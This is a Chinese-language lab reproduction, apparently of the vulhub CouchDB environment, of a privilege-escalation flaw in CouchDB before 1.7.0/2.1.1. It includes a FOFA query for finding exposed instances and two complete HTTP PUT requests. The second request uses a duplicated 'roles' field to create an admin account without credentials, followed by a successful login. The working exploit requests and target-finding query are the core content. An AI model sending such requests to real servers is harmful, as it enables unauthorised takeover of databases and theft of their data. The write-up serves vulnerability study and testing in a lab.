特征
1、端口可能是5984,直接访问端口是couchdb
2、访问/_utils
目录,网站title是一个红色沙发
,title名是Project Fauxton
还可以看到couchdb
图标
那么我们根据这些特征,用fofa搜索一下
title="Project Fauxton"
利用条件
影响版本:小于 1.7.0 以及 小于 2.1.1
搭建
搭建过程都一样,没有什么坑,楼主这里就不写了。
复现
本次复现版本是2.1.1
访问该地址
http://192.168.100.34:5984/_utils 跳转到登录页面,不过我们莫得账号密码。
发送如下数据包:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.100.34:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"}
,只有管理员才能设置Role角色:
发送一次包含两个roles字段的数据包,即可绕过限制:
注意:1、roles字段必须为空
,3、已创建的用户,你改密码的话,说不行的。
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.100.34:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
注意,2、楼主发现:如果你想创建多个用户的话,url中的用户名必须和数据包中的用户名一样!
注意,3、已创建的用户,你改密码的话,是不行的。
激动人心的时候到了!既然我们有了新的账号,那么就登进去试试!
输入我们之前创建的账号密码:vulhub:vulhub
http://192.168.100.34:5984/_utils
登录成功!
同时即可看到user的数量多了1个
参考:
复现中的一些原理和排错
https://www.cnblogs.com/foe0/p/11375757.html
搭建过程
https://blog.csdn.net/Aaron_Miller/article/details/97114298
https://blog.csdn.net/JiangBuLiu/article/details/94027581
还有官方的参考。